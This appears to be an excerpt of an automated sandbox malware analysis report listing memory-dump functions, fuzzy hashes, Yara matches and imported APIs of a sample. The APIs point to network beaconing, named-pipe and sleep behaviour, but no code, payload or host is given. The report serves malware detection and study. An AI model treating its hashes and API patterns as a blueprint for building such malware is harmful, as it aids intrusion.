Associated: 00000000.00000002.4113770648.0000000000454000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_yZah650lHL.jbxd

Similarity

API ID: signal
String ID:
API String ID: 1946981877-0
Opcode ID: 06a55dde90fdba465f035aded498aa017c2ec9da3ac7fa2f421ff76a62bbfb83
Instruction ID: e5ed25f9ec93a45af181b237418324cd8bf01173fb15efddcc2dfe5e442f875f
Opcode Fuzzy Hash: 06a55dde90fdba465f035aded498aa017c2ec9da3ac7fa2f421ff76a62bbfb83
Instruction Fuzzy Hash: D311D06672101043FB38273AC79EB2F0002A746349F9964378E0CA3BD4C9BECD814A4E

Function 0068C3B0 Relevance: 3.4, Strings: 2, Instructions: 884COMMONLIBRARYCODE

Download Yara Rule

Strings

<, xrefs: 0068CA6E
, xrefs: 0068CA63

Memory Dump Source

Source File: 00000000.00000002.4113819327.0000000000660000.00000040.00001000.00020000.00000000.sdmp, Offset: 00660000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_660000_yZah650lHL.jbxd

Yara matches

Similarity

API ID:
String ID: $<
API String ID: 0-428540627
Opcode ID: b07265f8357a11157a4f9c9ad581af4fb46f207739a0a4220b37d603b0229bef
Instruction ID: 029e6c0c50f8178ac7a0873f28322fe44d81e9b0db15bd0f8f991eaa75d97d41
Opcode Fuzzy Hash: b07265f8357a11157a4f9c9ad581af4fb46f207739a0a4220b37d603b0229bef
Instruction Fuzzy Hash: DE92D1B2325A8087DB58CB1DE4A173AB7A1F3C8B84F44512AEB9B87794CE7CD551CB04

Function 001CC397 Relevance: 2.6, Strings: 2, Instructions: 134COMMON

Download Yara Rule

Strings

e ', xrefs: 001CC405, 001CC47E, 001CC4F7, 001CC570
ailure #%d - %s, xrefs: 001CC41F, 001CC498, 001CC511, 001CC58A

Memory Dump Source

Source File: 00000000.00000002.4113551688.00000000001A0000.00000020.00001000.00020000.00000000.sdmp, Offset: 001A0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1a0000_yZah650lHL.jbxd

Yara matches

Similarity

API ID:
String ID: ailure #%d - %s$e '
API String ID: 0-4163927988
Opcode ID: aa69cfbe2dfd85e7477dd7a8e83c12114f76cab9aed25d9437113f4cd473f74e
Instruction ID: ec6c28a2629b973ec245a2b5201f0cb2fca8ea9cd88e4a8d25ed745c8d90d11e
Opcode Fuzzy Hash: aa69cfbe2dfd85e7477dd7a8e83c12114f76cab9aed25d9437113f4cd473f74e
Instruction Fuzzy Hash: A7510AB6214A508BD714CB09E4E076AB7E1F3CCB94F84561AE38B8B768DB3CD545CB40

Function 0068DBF0 Relevance: .6, Instructions: 617COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.4113819327.0000000000660000.00000040.00001000.00020000.00000000.sdmp, Offset: 00660000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_660000_yZah650lHL.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 598c92a77d3f8dda66df7f00e42631b8bb25fed254ebd76fcbad8f8343bff3d7
Instruction ID: bc1ccaeb1530266df738040eaae3fae955189e00e07f680a2e6a2761b34d835d
Opcode Fuzzy Hash: 598c92a77d3f8dda66df7f00e42631b8bb25fed254ebd76fcbad8f8343bff3d7
Instruction Fuzzy Hash: 7E5250B22149458BD708CB1CE4A173AB7E2F3C9B80F44852AE7978BB99CE3DD555CB40

Function 001CCFF0 Relevance: .6, Instructions: 617COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.4113551688.00000000001A0000.00000020.00001000.00020000.00000000.sdmp, Offset: 001A0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1a0000_yZah650lHL.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 598c92a77d3f8dda66df7f00e42631b8bb25fed254ebd76fcbad8f8343bff3d7
Instruction ID: 82b5d1063a700ef63de224473fde504350dfbea355db83ab48aaa914c7c492b6
Opcode Fuzzy Hash: 598c92a77d3f8dda66df7f00e42631b8bb25fed254ebd76fcbad8f8343bff3d7
Instruction Fuzzy Hash: 235241B221898587D708CB1CE4A177AB7E1F3C9B80F44852AE79B8B799CE3DD554DB00

Function 0068D280 Relevance: .6, Instructions: 592COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.4113819327.0000000000660000.00000040.00001000.00020000.00000000.sdmp, Offset: 00660000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_660000_yZah650lHL.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b966ddc3a4a27f87df3b0e1d0093439f08c10720c9c40116a815356078c1d6ce
Instruction ID: 5164de9d090b26616ad0d3930c8619f64b1833a30633e82543ad9ecf93fad533
Opcode Fuzzy Hash: b966ddc3a4a27f87df3b0e1d0093439f08c10720c9c40116a815356078c1d6ce
Instruction Fuzzy Hash: 485255B22145808BD708CF1DE4A173AB7E2F3C9B80F44852AE7968BB99CA3DD555CF40

Function 001CC680 Relevance: .6, Instructions: 592COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.4113551688.00000000001A0000.00000020.00001000.00020000.00000000.sdmp, Offset: 001A0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1a0000_yZah650lHL.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b966ddc3a4a27f87df3b0e1d0093439f08c10720c9c40116a815356078c1d6ce
Instruction ID: ce355b0243cb639f74432b96568eac3b2256156551a439938dfd84188c558197
Opcode Fuzzy Hash: b966ddc3a4a27f87df3b0e1d0093439f08c10720c9c40116a815356078c1d6ce
Instruction Fuzzy Hash: CA5240B22149818BD708CF1DE4A177AB7E1F3C9B80F44852AE78A8B799CA3DD545CF40

Function 0066A280 Relevance: .4, Instructions: 404COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.4113819327.0000000000660000.00000040.00001000.00020000.00000000.sdmp, Offset: 00660000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_660000_yZah650lHL.jbxd

Yara matches

Similarity

API ID: free
String ID:
API String ID: 1294909896-0
Opcode ID: c765d2767cc6881341997e71bcd018a989170b9b961d50c461c72776cf572830
Instruction ID: 97788dc11d1859d5af95f783d0f149c7900d8f14816fea1324a533bb0f57b2cf
Opcode Fuzzy Hash: c765d2767cc6881341997e71bcd018a989170b9b961d50c461c72776cf572830
Instruction Fuzzy Hash: ACE1D776318A4296DB20CBA5E4902AE67B3F795788F904115EF4DA7708EF39CE06CF41

Function 001A9680 Relevance: .4, Instructions: 404COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.4113551688.00000000001A0000.00000020.00001000.00020000.00000000.sdmp, Offset: 001A0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1a0000_yZah650lHL.jbxd

Yara matches

Similarity

API ID: free
String ID:
API String ID: 1294909896-0
Opcode ID: 037a88b3a0e0121372c1e8929510804f124a0a98294513f128062ea9428e9fbd
Instruction ID: 0e5a797c056a3b603dc5714ecbf7d852c9887fbf52f5745a24cee88d7c1c311a
Opcode Fuzzy Hash: 037a88b3a0e0121372c1e8929510804f124a0a98294513f128062ea9428e9fbd
Instruction Fuzzy Hash: 65E1D87A718A4296DF30DB25E4906AE73A1F7AA798F900115EF4D87748EF38CD85CB40

Function 001ACE3C Relevance: .4, Instructions: 374COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.4113551688.00000000001A0000.00000020.00001000.00020000.00000000.sdmp, Offset: 001A0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1a0000_yZah650lHL.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 24a34f2510a6bdda36c019d7c9474c92714271ad77d8ea5857b13b9428aab684
Instruction ID: 478000ad0292b6d07a9389f9cf01eca55c7dab24efc3bc0c4dde27ee49546022
Opcode Fuzzy Hash: 24a34f2510a6bdda36c019d7c9474c92714271ad77d8ea5857b13b9428aab684
Instruction Fuzzy Hash: D4E19CB6B10B4187EB24CB35E8413AA63A2F799795F488125DB8F97B51EF3CE485C340

Function 00669D6C Relevance: .4, Instructions: 367COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.4113819327.0000000000660000.00000040.00001000.00020000.00000000.sdmp, Offset: 00660000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_660000_yZah650lHL.jbxd

Yara matches

Similarity

API ID: free
String ID:
API String ID: 1294909896-0
Opcode ID: 1cd785112f09a1c6710790546be46074dbf73f7ffcb36dc8c2022c63c2ed85fc
Instruction ID: a68336142a694b4ea7778f662b1399bda95fa39f36c900c5556e207a4f108332
Opcode Fuzzy Hash: 1cd785112f09a1c6710790546be46074dbf73f7ffcb36dc8c2022c63c2ed85fc
Instruction Fuzzy Hash: 6ED1D572304A4292DF20DBA5D4902EEA766F794798F900116EF4E97718EF36CE46CB40

Function 001A916C Relevance: .4, Instructions: 367COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.4113551688.00000000001A0000.00000020.00001000.00020000.00000000.sdmp, Offset: 001A0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1a0000_yZah650lHL.jbxd

Yara matches

Similarity

API ID: free
String ID:
API String ID: 1294909896-0
Opcode ID: a24fb40c631e4fb8bf858a82f26ba5d2e30cdac9459d39304e37b5ee64eada3e
Instruction ID: d57bf8e47affcda77c628be205ea94685852170c192f6ea003444fb5114afa0b
Opcode Fuzzy Hash: a24fb40c631e4fb8bf858a82f26ba5d2e30cdac9459d39304e37b5ee64eada3e
Instruction Fuzzy Hash: 1ED1197B704B4292DF20DF65D8902AE6761FBE6798F900012EF4E97658EF34C986C740

Function 001B0334 Relevance: .2, Instructions: 163COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.4113551688.00000000001A0000.00000020.00001000.00020000.00000000.sdmp, Offset: 001A0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1a0000_yZah650lHL.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 466de111811528a62f1f30eaf25973b5c551d59befa8947403ad49e7d2f1a529
Instruction ID: 84848dc8c9b8eb3aba007217a0bbcd6b803f8d12ccf809fb5b860898a47fbc9a
Opcode Fuzzy Hash: 466de111811528a62f1f30eaf25973b5c551d59befa8947403ad49e7d2f1a529
Instruction Fuzzy Hash: 37617B32714B40D6EB249F62E88439E73E1F79CB94F11512AEA4E83B24DF79C995CB40

Function 0068CF97 Relevance: .1, Instructions: 134COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.4113819327.0000000000660000.00000040.00001000.00020000.00000000.sdmp, Offset: 00660000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_660000_yZah650lHL.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: aa69cfbe2dfd85e7477dd7a8e83c12114f76cab9aed25d9437113f4cd473f74e
Instruction ID: 7bf834dff18ef2d97432191af032f825d37cd7e6b1fb4cc17482811a90c83697
Opcode Fuzzy Hash: aa69cfbe2dfd85e7477dd7a8e83c12114f76cab9aed25d9437113f4cd473f74e
Instruction Fuzzy Hash: D1510CB6214A508BD754CB0DE4A072AB7E2F3CCBD4F84521AE38B87B68DA3DD555CB40

Function 00692020 Relevance: .0, Instructions: 37COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.4113819327.0000000000660000.00000040.00001000.00020000.00000000.sdmp, Offset: 00660000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_660000_yZah650lHL.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7d5c60bfde02073a6b2f4914ae9643feb224790bf45e20c3c7227f1ad55a4277
Instruction ID: c18a84c296884c2148f3584f8dcdcb74ce16d9512609834e75fb3b08a9be0ab6
Opcode Fuzzy Hash: 7d5c60bfde02073a6b2f4914ae9643feb224790bf45e20c3c7227f1ad55a4277
Instruction Fuzzy Hash: 9EF0FFD7E1DAE26ADB2346640C7D1982F57A4B2A2134DC14F8B8053F93A4060C01D312

Function 004542E4 Relevance: .0, Instructions: 13COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.4113770648.0000000000454000.00000004.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.4113602550.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4113625005.0000000000401000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4113649061.0000000000404000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4113672098.0000000000405000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4113715440.000000000044F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4113736878.0000000000450000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_yZah650lHL.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3943532f7ff775f6c9632ad134db5b43a8581d7d914136b19b322c0d495756f2
Instruction ID: 6df1996fe5ab077fac6f5f648561be467765c73faf68bb16cd4171b126be2ea7
Opcode Fuzzy Hash: 3943532f7ff775f6c9632ad134db5b43a8581d7d914136b19b322c0d495756f2
Instruction Fuzzy Hash: 60D0C7C7F5DFD096D32281A40C6A0692F91B5F291535E818FAE4497397B40C1D4D5315

Function 00692630 Relevance: .0, Instructions: 13COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.4113819327.0000000000660000.00000040.00001000.00020000.00000000.sdmp, Offset: 00660000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_660000_yZah650lHL.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 346746c420873f5115eefdb694fe7c4ecc9345e885989bf490d76ed756ab699a
Instruction ID: 539d35eff73e93ac76602df4a068df1f8cc5d4c668e64a5cd509f388140b9171
Opcode Fuzzy Hash: 346746c420873f5115eefdb694fe7c4ecc9345e885989bf490d76ed756ab699a
Instruction Fuzzy Hash: 44D05EFBE1DBD21BEB6382284C3D2882F66A162A2074C408F878007FA3E44A1801C311

Function 00692050 Relevance: .0, Instructions: 10COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.4113819327.0000000000660000.00000040.00001000.00020000.00000000.sdmp, Offset: 00660000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_660000_yZah650lHL.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7077a8aff73e726294d064c0100d8d9a6f69cbf49f20d4d8a9feb05e8568bc26
Instruction ID: c624cead7d371148b89316b008a246588d0c5e32bc8caaeb701ddc815d516811
Opcode Fuzzy Hash: 7077a8aff73e726294d064c0100d8d9a6f69cbf49f20d4d8a9feb05e8568bc26
Instruction Fuzzy Hash: B1C04C57A14AD1579B125A15087A5942B57E5D3D3238A82998D5183E47900A5C17E311

Function 006924F0 Relevance: .0, Instructions: 10COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.4113819327.0000000000660000.00000040.00001000.00020000.00000000.sdmp, Offset: 00660000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_660000_yZah650lHL.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e22b888f4c5b362cda7f8ac34c3812d6ca885ba57bea4ef0bbaaf1add4c6c28a
Instruction ID: 8009e9f2c8603c0aa392f075b10aaf32735fc7346bb9e3a3e5ffbe436e7b62eb
Opcode Fuzzy Hash: e22b888f4c5b362cda7f8ac34c3812d6ca885ba57bea4ef0bbaaf1add4c6c28a
Instruction Fuzzy Hash: 60C012DBE1DEC15AE72342544C7509F3ED694F2D1030F4046CF4402753A1460C106251

Function 00402F62 Relevance: .0, Instructions: 6COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.4113625005.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.4113602550.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4113649061.0000000000404000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4113672098.0000000000405000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4113715440.000000000044F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4113736878.0000000000450000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4113770648.0000000000454000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_yZah650lHL.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a67b07fff93ef3e3d087b98e4049d786ac120a8a9678935b14bd3a1a6ec1c101
Instruction ID: a90e02ae8d049601286e53e7699458ba48d96224d24485149046b028ffd0d41f
Opcode Fuzzy Hash: a67b07fff93ef3e3d087b98e4049d786ac120a8a9678935b14bd3a1a6ec1c101
Instruction Fuzzy Hash: 90B012A7448D1181C3000F30CC013E03334D755786F042461620440192C22CC254D10C

Function 00692078 Relevance: .0, Instructions: 2COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.4113819327.0000000000660000.00000040.00001000.00020000.00000000.sdmp, Offset: 00660000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_660000_yZah650lHL.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5d0d92956b155cbb8c87e226b7ab5f03fdae5ec1c9a88a8e3a78aeaa86237f57
Instruction ID: e1caecb6445a2499f8d0cd7f9dcdff8d8002f52e01be10325dabbee32111e1e2
Opcode Fuzzy Hash: 5d0d92956b155cbb8c87e226b7ab5f03fdae5ec1c9a88a8e3a78aeaa86237f57
Instruction Fuzzy Hash: 8390025650E3C009CA03D6241C601083F60B08290038B408B838042BC3D44C0508C322

Function 00676BE0 Relevance: 22.7, APIs: 15, Instructions: 195networkCOMMONLIBRARYCODE

Download Yara Rule

APIs

htonl.WS2_32 ref: 00676C3D
select.WS2_32 ref: 00676CAB
__WSAFDIsSet.WS2_32 ref: 00676CC3
accept.WS2_32 ref: 00676CE0
ioctlsocket.WS2_32 ref: 00676CF8
__WSAFDIsSet.WS2_32 ref: 00676D9B
accept.WS2_32 ref: 00676DB1

Part of subcall function 00675A20: ioctlsocket.WS2_32 ref: 00675A42

__WSAFDIsSet.WS2_32 ref: 00676E33
__WSAFDIsSet.WS2_32 ref: 00676E4B
closesocket.WS2_32 ref: 00676F0D

Memory Dump Source

Source File: 00000000.00000002.4113819327.0000000000660000.00000040.00001000.00020000.00000000.sdmp, Offset: 00660000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_660000_yZah650lHL.jbxd

Yara matches

Similarity

API ID: acceptioctlsocket$closesockethtonlselect
String ID:
API String ID: 2003300010-0
Opcode ID: 54efb49355ab49030012f44656aa982b574d006ff9989bba4d15e008082401ba
Instruction ID: 3a22ab2671ea9756bc4af0d6e732f6acd978155fc56be1d3b0b411975531676c
Opcode Fuzzy Hash: 54efb49355ab49030012f44656aa982b574d006ff9989bba4d15e008082401ba
Instruction Fuzzy Hash: 2D919932710A919BDB60DF21E9507AD33A6F788B98F008229EB4E47F58DF35C665CB10

Function 0066EC04 Relevance: 21.2, APIs: 10, Strings: 2, Instructions: 165networksleepCOMMONLIBRARYCODE

Download Yara Rule

APIs

_snprintf.LIBCMT ref: 0066ECD3
_snprintf.LIBCMT ref: 0066ECFE
_snprintf.LIBCMT ref: 0066ED1A
_snprintf.LIBCMT ref: 0066EDCF
_snprintf.LIBCMT ref: 0066EDE6
HttpOpenRequestA.WININET ref: 0066EE32
HttpSendRequestA.WININET ref: 0066EE65
InternetCloseHandle.WININET ref: 0066EE7A
Sleep.KERNEL32 ref: 0066EE85
InternetCloseHandle.WININET ref: 0066EE98

Strings

%s%s, xrefs: 0066EDDB
*/*, xrefs: 0066EC2A

Memory Dump Source

Source File: 00000000.00000002.4113819327.0000000000660000.00000040.00001000.00020000.00000000.sdmp, Offset: 00660000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_660000_yZah650lHL.jbxd

Yara matches

Similarity

API ID: _snprintf$CloseHandleHttpInternetRequest$OpenSendSleep
String ID: %s%s$*/*
API String ID: 3787158362-856325523
Opcode ID: 74fcd7c73aed85367ed650ea4945df165b3c67cd5a727985712ddaae692fa4ee
Instruction ID: 4feb4164774b2fa1ebca02c0a566f91f923d055f021e5dab81b1decc33edf96a
Opcode Fuzzy Hash: 74fcd7c73aed85367ed650ea4945df165b3c67cd5a727985712ddaae692fa4ee
Instruction Fuzzy Hash: DC711236300B859AEB50DF65E8903ED37A2FB88788F504126EA4D13B68DF3EC51AC710

Function 006753E4 Relevance: 18.1, APIs: 12, Instructions: 105pipesleepfileCOMMON

Download Yara Rule

APIs

GetTickCount.KERNEL32 ref: 006755E4
GetTickCount.KERNEL32 ref: 006755F0
CreateFileA.KERNEL32 ref: 0067561E
GetLastError.KERNEL32 ref: 0067562D
WaitNamedPipeA.KERNEL32 ref: 00675642
Sleep.KERNEL32 ref: 0067564F
GetTickCount.KERNEL32 ref: 00675655
GetLastError.KERNEL32 ref: 0067566B
GetLastError.KERNEL32 ref: 00675683
SetNamedPipeHandleState.KERNEL32 ref: 006756AE
GetLastError.KERNEL32 ref: 006756B8
DisconnectNamedPipe.KERNEL32 ref: 00675732

Memory Dump Source

Source File: 00000000.00000002.4113819327.0000000000660000.00000040.00001000.00020000.00000000.sdmp, Offset: 00660000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_660000_yZah650lHL.jbxd

Yara matches

Similarity

API ID: ErrorLast$CountNamedPipeTick$CreateDisconnectFileHandleSleepStateWait
String ID:
API String ID: 34948862-0
Opcode ID: fe9bced31039d2455b0d079955692a562236962e25bf66d1b7588840a9b4026e
Instruction ID: 6e884b6e5ffd85282d21a74658fbec779b271abfe7c071b39529fe0f93f4ef17
Opcode Fuzzy Hash: fe9bced31039d2455b0d079955692a562236962e25bf66d1b7588840a9b4026e
Instruction Fuzzy Hash: B541AB32704F01D6EB00DB61E8647AD336BE388BA4F908225DE2F47BA4DF79C4668740

Function 0067FE10 Relevance: 18.1, APIs: 12, Instructions: 73COMMONLIBRARYCODE

Download Yara Rule

APIs

_errno.LIBCMT ref: 0067FE36

Part of subcall function 00681D18: _getptd_noexit.LIBCMT ref: 00681D1C

_invalid_parameter_noinfo.LIBCMT ref: 0067FE42
__crtIsPackagedApp.LIBCMT ref: 0067FE53
AreFileApisANSI.KERNEL32 ref: 0067FE62
MultiByteToWideChar.KERNEL32 ref: 0067FE88
GetLastError.KERNEL32 ref: 0067FE95
_dosmaperr.LIBCMT ref: 0067FE9D

Memory Dump Source

Source File: 00000000.00000002.4113819327.0000000000660000.00000040.00001000.00020000.00000000.sdmp, Offset: 00660000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_660000_yZah650lHL.jbxd

Yara matches

Similarity

API ID: ApisByteCharErrorFileLastMultiPackagedWide__crt_dosmaperr_errno_getptd_noexit_invalid_parameter_noinfo
String ID:
API String ID: 1138158220-0
Opcode ID: 05425721233f79f79091f3b96a0ee25a442efda7d0ba0e08876b468a33414fe7
Instruction ID: cf4228a557fd0e6063c7d3efb5bddca3d5e4dcbb782ebe834ceeb27299a869a2
Opcode Fuzzy Hash: 05425721233f79f79091f3b96a0ee25a442efda7d0ba0e08876b468a33414fe7
Instruction Fuzzy Hash: 2121C132300B4192EB50AF76E81472D77E7AB89FA4F148638EE4947BA6EF3CC5118705

Function 0067FF6C Relevance: 18.1, APIs: 12, Instructions: 73COMMONLIBRARYCODE

Download Yara Rule

APIs

DecodePointer.KERNEL32 ref: 0067FF7D
free.LIBCMT ref: 0067FF9A

Part of subcall function 0067F244: HeapFree.KERNEL32 ref: 0067F25A
Part of subcall function 0067F244: _errno.LIBCMT ref: 0067F264
Part of subcall function 0067F244: GetLastError.KERNEL32 ref: 0067F26C

free.LIBCMT ref: 0067FFAF
free.LIBCMT ref: 0067FFD0
free.LIBCMT ref: 0067FFE5
free.LIBCMT ref: 0067FFF9
free.LIBCMT ref: 00680005
free.LIBCMT ref: 00680030
EncodePointer.KERNEL32 ref: 00680038
free.LIBCMT ref: 00680051
free.LIBCMT ref: 0068006A
free.LIBCMT ref: 0068009B

Memory Dump Source

Source File: 00000000.00000002.4113819327.0000000000660000.00000040.00001000.00020000.00000000.sdmp, Offset: 00660000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_660000_yZah650lHL.jbxd

Yara matches

Similarity

API ID: free$Pointer$DecodeEncodeErrorFreeHeapLast_errno
String ID:
API String ID: 4099253644-0
Opcode ID: f2c387d57ff385ba375dc00a6173171a26f2c39e06d74853e0125178de0f68c4
Instruction ID: f1ad4a06997b4ec404ae2e7d0c08ef39ca67135b9a45530cf5c6cb660311c64c
Opcode Fuzzy Hash: f2c387d57ff385ba375dc00a6173171a26f2c39e06d74853e0125178de0f68c4
Instruction Fuzzy Hash: 81316D25301A4085FE44FF51E8607B423A3BB46B90F084629DD5E177A2DF7EC964CB06

Function 00677308 Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 73networkCOMMON

Download Yara Rule

APIs

GetTickCount.KERNEL32 ref: 00677336
select.WS2_32 ref: 0067738D
__WSAFDIsSet.WS2_32 ref: 0067739C
__WSAFDIsSet.WS2_32 ref: 006773B4
GetTickCount.KERNEL32 ref: 006773BD
gethostbyname.WS2_32 ref: 006773D0
htons.WS2_32 ref: 006773E8
inet_addr.WS2_32 ref: 006773FA
sendto.WS2_32 ref: 00677423

Strings

d, xrefs: 00677347

Memory Dump Source

Source File: 00000000.00000002.4113819327.0000000000660000.00000040.00001000.00020000.00000000.sdmp, Offset: 00660000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_660000_yZah650lHL.jbxd

Yara matches

Similarity

API ID: CountTick$gethostbynamehtonsinet_addrselectsendto
String ID: d
API String ID: 1257931466-2564639436
Opcode ID: ab0c442174a33fd942d7502bed514c8ee7f8710e336f335b2024a32b2463658a
Instruction ID: e4ac90b84feb32bba891d0a522a0d5fa65501591bdec2923f5d6bc6cc3296ff1
Opcode Fuzzy Hash: ab0c442174a33fd942d7502bed514c8ee7f8710e336f335b2024a32b2463658a
Instruction Fuzzy Hash: 90319C32214B81D6DB20CF62F88479A77A6F788B98F005126EE8D47F28DF79C565CB40

Function 001C1B48 Relevance: 16.0, APIs: 8, Strings: 1, Instructions: 227COMMON

Download Yara Rule

APIs

write_multi_char.LIBCMT ref: 001C1FEB
write_string.LIBCMT ref: 001C2008
write_multi_char.LIBCMT ref: 001C2025
write_string.LIBCMT ref: 001C2084
write_multi_char.LIBCMT ref: 001C20DD
free.LIBCMT ref: 001C20F1

Strings

, xrefs: 001C1FBF

Memory Dump Source

Source File: 00000000.00000002.4113551688.00000000001A0000.00000020.00001000.00020000.00000000.sdmp, Offset: 001A0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1a0000_yZah650lHL.jbxd

Yara matches

Similarity

API ID: write_multi_char$write_string$free
String ID:
API String ID: 2630409672-3916222277
Opcode ID: 1c8d6b8a065489df9c71b2e8ea70d157333f6dd13db57c526a3ea5ce9db962ed
Instruction ID: 93fad225b0fb5ed7e81c76d3e0d515d3c62d7566275eba2a4f6cc3feda05745d
Opcode Fuzzy Hash: 1c8d6b8a065489df9c71b2e8ea70d157333f6dd13db57c526a3ea5ce9db962ed
Instruction Fuzzy Hash: 1591133374878496EB25CB65E404BAE7B70F7A6794F24100EEF8A57B99DB38C945CB00

Function 006771FC Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 57networksleepCOMMON

Download Yara Rule

APIs

GetTickCount.KERNEL32 ref: 0067721C
select.WS2_32 ref: 00677282
__WSAFDIsSet.WS2_32 ref: 00677291
__WSAFDIsSet.WS2_32 ref: 006772A6
send.WS2_32 ref: 006772BC
WSAGetLastError.WS2_32 ref: 006772C7
Sleep.KERNEL32 ref: 006772D9
GetTickCount.KERNEL32 ref: 006772DF

Strings

d, xrefs: 0067722A

Memory Dump Source

Source File: 00000000.00000002.4113819327.0000000000660000.00000040.00001000.00020000.00000000.sdmp, Offset: 00660000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_660000_yZah650lHL.jbxd

Yara matches

Similarity

API ID: CountTick$ErrorLastSleepselectsend
String ID: d
API String ID: 2152284305-2564639436
Opcode ID: 968d1f127f461a1dbb27dc7435d3ebfca4b5ec6114cfb3c6d112f4c985c4520d
Instruction ID: efd5a79e5ba5b1a49d4fa8f9e830f0533f845b3e87a0d99194b745c716581666
Opcode Fuzzy Hash: 968d1f127f461a1dbb27dc7435d3ebfca4b5ec6114cfb3c6d112f4c985c4520d
Instruction Fuzzy Hash: 9E219032218A8196D7609F21F88838E7366F784784F504225EBAD47F59DF39C5A4CB44

Function 0066FB08 Relevance: 15.1, APIs: 10, Instructions: 91sleepfilepipeCOMMON

Download Yara Rule

APIs

GetTickCount.KERNEL32 ref: 0066FB29
